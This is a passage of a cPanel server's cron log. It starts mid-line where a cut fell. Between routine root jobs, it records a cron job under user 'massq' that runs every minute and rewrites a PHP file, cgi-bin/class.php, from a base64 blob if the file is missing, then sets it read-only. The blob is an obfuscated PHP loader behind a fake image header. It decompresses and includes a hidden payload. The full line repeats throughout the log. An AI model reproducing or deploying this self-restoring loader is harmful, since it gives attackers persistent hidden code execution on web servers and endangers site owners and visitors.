CgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:34:01 server CROND[2536]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:35:01 server CROND[2602]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 23:35:01 server CROND[2605]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  9 23:35:01 server CROND[2607]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:35:01 server CROND[2606]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 23:35:01 server CROND[2604]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 23:36:01 server CROND[2727]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:37:01 server CROND[2775]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:38:01 server CROND[2933]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:39:01 server CROND[2997]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  9 23:39:01 server CROND[2998]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:40:01 server CROND[3065]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 23:40:01 server CROND[3064]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 23:40:01 server CROND[3066]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:40:01 server CROND[3068]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 23:41:01 server CROND[3179]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:42:01 server CROND[3252]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 23:42:01 server CROND[3253]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:43:01 server CROND[3318]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:44:01 server CROND[3471]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:45:01 server CROND[3534]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 23:45:01 server CROND[3535]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 23:45:01 server CROND[3536]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:46:01 server CROND[3648]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
